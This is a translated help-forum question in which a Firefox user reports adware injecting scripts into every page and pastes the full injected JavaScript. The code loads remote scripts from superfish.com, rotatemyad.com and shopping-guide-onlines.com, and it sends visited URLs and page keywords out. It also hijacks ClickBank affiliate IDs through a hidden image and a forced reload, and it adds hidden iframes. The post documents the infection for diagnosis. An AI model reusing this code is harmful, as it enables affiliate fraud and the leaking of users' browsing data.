Shopping-Guide-Onlines.com& Superfish.com注入Firefox的脚本

时间:2013-08-30 20:12:26

标签: javascript firefox code-injection

我正在运行最新版本的Firefox。我的操作系统是Mac 10.7.5。我使用cookie管理器,直到最近,还使用NoScript。最近我禁用了NoScript。

登录我的某个Yahoo电子邮件帐户时,我得到了一个不寻常的弹出窗口,所有外观看起来都是合法的。它说了一些事情,我没有更新我的营销偏好,我必须这样做,否则我的帐户将被终止。 “终止”部分似乎立即可疑,但窗口(弹出屏幕底部)是侵入性的,所以我试图点击“X”关闭它。它启动了另一个窗口,我立即关闭了。

之后,我注意到Firefox的各种变化。我最终阻止了与LittleSnitch的所有传出连接到shopping-guide-onlines.com和superfish.com。然而,他们仍然在做一些邪恶的魔法。

当我使用WebDeveloper插件查看GENERATED源代码时,我导航到的任何页面上都会出现以下内容(我涂抹了个人信息)。

<script>var scr = document.createElement( "script" );
scr.type= 'text/javascript';
scr.setAttribute( "src", "http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" );
scr.setAttribute('async', 'true');
document.getElementsByTagName('head')[0].appendChild( scr );
var scr = document.createElement( "script" );
scr.type= 'text/javascript';
if (window.location.protocol.indexOf( "https" ) > -1) {
scr.setAttribute( "src", "https://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
} else {
scr.setAttribute( "src", "http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
}
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );

if( document.location.href.search("•••••.com") > -1 ||
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 ) {

    var scr = document.createElement( "script" );
    scr.type= 'text/javascript';
    scr.setAttribute( "src", "http://shopping-guide-online.com/c2.php" );
    document.getElementsByTagName('head')[0].appendChild( scr );
}

if( document.location.href.search("clickbank.net/order/orderform") > -1 ) {
    var aff1 = "kwrdstool";
    var body = document.getElementsByTagName('body')[0];
    var aff2 = body.innerHTML.match(/\[affiliate = (.*?)\]/i);
    if( aff2.hasOwnProperty("1") && aff2[1] != "" ) {
        if( aff1 != aff2[1] ) {
            var head = document.getElementsByTagName('head')[0].innerHTML;
            var vend = head.match(/<!-- vs: (.*?) -->/i);
            if( vend.hasOwnProperty("1") && vend[1] != "" ) {
                body.style.display = "none";
                var f = document.createElement('img');
                f.style.width   = '1px';
                f.style.height = '1px';
                f.style.position = 'absolute';
                f.style.top = '-999px';
                f.src = "http://" + aff1 + "." + vend[1] + ".hop.clickbank.net";
                setTimeout( function() { window.location.href = window.location.href; }, 2000 );
                body.appendChild(f);
            }
        }
    }
} 

function get_mk()
{
    metaCollection = document.getElementsByTagName("meta");
    for (i = 0; i < metaCollection.length; i++) {
        if (metaCollection[i].name.search(/keywords/i) != -1)
        {
            return metaCollection[i].content
        }
    }
    return ""
}

function add_a(a)
{
    var b       = document.getElementsByTagName('body')[0];
    var f       = document.createElement('iframe');
    f.id        ='ifr1';
    f.style.width   ='1px';
    f.style.height  ='1px';
    f.style.position= 'absolute';
    f.style.top     ='-999px';
    f.src       = a;

    b.appendChild(f);
}

function add_script(a)
{
    var b       = document.getElementsByTagName('head')[0];
    var f       = document.createElement('script');
    f.id        ='scr1';
    f.src       = a;

    b.appendChild(f);
}




function contains(a, e){ for(j=0;j<a.length;j++)if(a[j]==e)return true; return false;}
function setCookie(c_name,value,exdays){ var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie=c_name + "=" + c_value; }

function getCookie(c_name)
{var i,x,y,ARRcookies=document.cookie.split(";");for(i=0;i<ARRcookies.length;i++)
{x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name)
{return unescape(y);}}}


shuffle = function(o){ //v1.0
    for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
    return o;
};


function get_timestamp(){   return Math.round((new Date()).getTime() / 1000);}
function trim (myString){   return myString.replace(/^\s+/g,'').replace(/\s+$/g,'')}


var cur_loc=escape(window.location);
if( cur_loc.length<500 )
{
var scr = document.createElement( "script" );
scr.type= 'text/javascript';get_mk
scr.setAttribute( "src", "http://shopping-guide-onlines.com/search/adi/g.php?k=" + encodeURIComponent(get_mk().substring(0, 200)) + "&r=" + encodeURIComponent(window.location));      
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );
}var added_order=false; if(document.getElementById( "fbevid1" )!=undefined)
    {
        if(document.getElementById( "fbevid2" )!=undefined)
        {
            document.getElementById( "fbevid1" ).style.display="none";
            document.getElementById( "fbevid2" ).style.display="";
        }
    }</script><script async="true" src="http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" type="text/javascript"></script><script async="true" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&amp;userId=&amp;CTID=mp" type="text/javascript"></script><script async="true" src="http://shopping-guide-onlines.com/search/adi/g.php?k=&amp;r=http%3A%2F%2F••••••••.html" type="text/javascript"></script>

我没有找到任何为此提供修复的出版物。清除缓存什么也没做。这是令人愤怒的,因为它是做不到的,据我所知,有很多大公司使用购物指南在线,superfish和rotatemyad。如果是这样的话,他们都是骗子。

0 个答案:

没有答案